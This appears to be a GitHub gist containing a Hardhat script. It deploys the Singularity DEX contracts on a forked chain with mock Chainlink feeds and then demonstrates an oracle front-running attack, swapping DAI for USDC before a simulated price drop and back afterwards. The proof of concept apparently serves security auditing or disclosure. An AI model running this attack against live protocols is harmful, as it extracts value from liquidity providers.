Skip to content

Instantly share code, notes, and snippets.

@bsamuels453
Created June 14, 2022 21:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bsamuels453/b0fc4715fc384d94eb3e8ef22841f82a to your computer and use it in GitHub Desktop.
Save bsamuels453/b0fc4715fc384d94eb3e8ef22841f82a to your computer and use it in GitHub Desktop.
const hre = require("hardhat");
async function main() {
const [deployer] = await ethers.getSigners();
function numToBN(number, decimals = 18) {
return ethers.utils.parseUnits(number.toString(), decimals);
}
const Oracle = await hre.ethers.getContractFactory("SingularityOracle");
const adminAddress = deployer.address;
const oracle = await Oracle.deploy(adminAddress);
await oracle.deployed();
console.log(`Oracle deployed to: ${oracle.address}`);
const Factory = await hre.ethers.getContractFactory("SingularityFactory");
const trancheName = "Beta v4";
const oracleAddress = oracle.address;
const feeToAddress = deployer.address;
const factory = await Factory.deploy(trancheName, adminAddress, oracleAddress, feeToAddress);
await factory.deployed();
console.log(`Factory deployed to: ${factory.address}`);
let tx = await oracle.setOnlyUseChainlink(true);
await tx.wait()
console.log(`setOnlyUseChainlink`)
const usdc = "0x04068da6c83afcfa0e13ba15a6696662335d5b75";
const dai = "0x8d11ec38a3eb5e956b052f67da8bdc9bef8abf3e";
const wftm = "0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83";
const FeedBuilder = await hre.ethers.getContractFactory("TestChainlinkFeed");
const usdcFeedBuilt = await FeedBuilder.deploy(numToBN(1,8));
const daiFeedBuilt = await FeedBuilder.deploy(numToBN(1,8));
const usdcFeed = usdcFeedBuilt.address;
const daiFeed = daiFeedBuilt.address;
tx = await oracle.setChainlinkFeeds(
[usdc, dai],
[usdcFeed, daiFeed]
);
await tx.wait();
console.log(`setChainlinkFeeds`)
const tokens = [
{
name: "USDC",
address: "0x04068da6c83afcfa0e13ba15a6696662335d5b75",
fee: 0.0002,
isStable: true,
cap: numToBN(100000, 6),
},
{
name: "DAI",
address: "0x8d11ec38a3eb5e956b052f67da8bdc9bef8abf3e",
fee: 0.0002,
isStable: true,
cap: numToBN(100000),
}
];
for (let i = 0; i < tokens.length; i++) {
const tokenAddress = tokens[i].address;
const isStablecoin = tokens[i].isStable;
const baseFee = numToBN(tokens[i].fee);
let tx = await factory.createPool(tokenAddress, isStablecoin, baseFee);
await tx.wait();
const poolAddress = await factory.getPool(tokenAddress);
console.log(`${tokenAddress} pool deployed to: ${poolAddress}`);
}
await factory.setDepositCaps(
[tokens[0].address, tokens[1].address],
[tokens[0].cap, tokens[1].cap]
);
const Router = await hre.ethers.getContractFactory("SingularityRouter");
const router = await Router.deploy(factory.address, wftm);
await factory.setRouter(router.address);
const Pool = await hre.ethers.getContractFactory("SingularityPool");
const usdcPoolAddress = await factory.getPool(usdc);
const usdcPool = Pool.attach(usdcPoolAddress);
const daiPoolAddress = await factory.getPool(dai);
const daiPool = Pool.attach(daiPoolAddress);
const uni = await hre.ethers.getContractAt("IUniswapV2Router01", "0xF491e7B69E4244ad4002BC14e878a34207E38c29", deployer);
// get 100 usdc in deployer wallet
await uni.swapETHForExactTokens(numToBN(100, 6), [wftm, usdc], deployer.address, 2655157258, {value: numToBN(1000)});
// approval to router
const usdcToken = await hre.ethers.getContractAt("IERC20", usdc);
await usdcToken.approve(router.address, numToBN(100, 6));
// get 100 dai in deployer wallet
await uni.swapETHForExactTokens(numToBN(100, 18), [wftm, dai], deployer.address, 2655157258, {value: numToBN(1000)});
// approval to router
const daiToken = await hre.ethers.getContractAt("IERC20", dai);
await daiToken.approve(router.address, numToBN(100, 18));
// add 10usdc to usdc pool
await router.addLiquidity(usdc, numToBN(10, 6), 0, deployer.address, 2655157258)
// add 10 dai to dai pool
await router.addLiquidity(dai, numToBN(10, 18), 0, deployer.address, 2655157258)
/* start of attack */
/* ---------------------- */
// attacker aware of 1% oracle price drop for DAI, swaps 1 DAI for USDC
let usdcOut= (await router.getAmountOut(numToBN(1, 18), dai, usdc)).amountOut;
console.log(`${typeof(usdcOut)}`)
console.log(`Attacker swaps 1 DAI for: ${ethers.utils.formatUnits(usdcOut,6)} USDC`)
// exec swap
await router.swapExactTokensForTokens(dai, usdc, numToBN(1, 18), 0, deployer.address, 2655157258);
// oracle is updated by chainlink
await daiFeedBuilt.setPrice(99000000);
console.log(`Oracle price dropped`)
// attacker swaps after oracle update
let daiOut =(await router.getAmountOut(usdcOut, usdc, dai)).amountOut;
console.log(`Attacker swaps ${ethers.utils.formatUnits( usdcOut,6)} USDC for ${ethers.utils.formatUnits( daiOut,18)} DAI`)
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment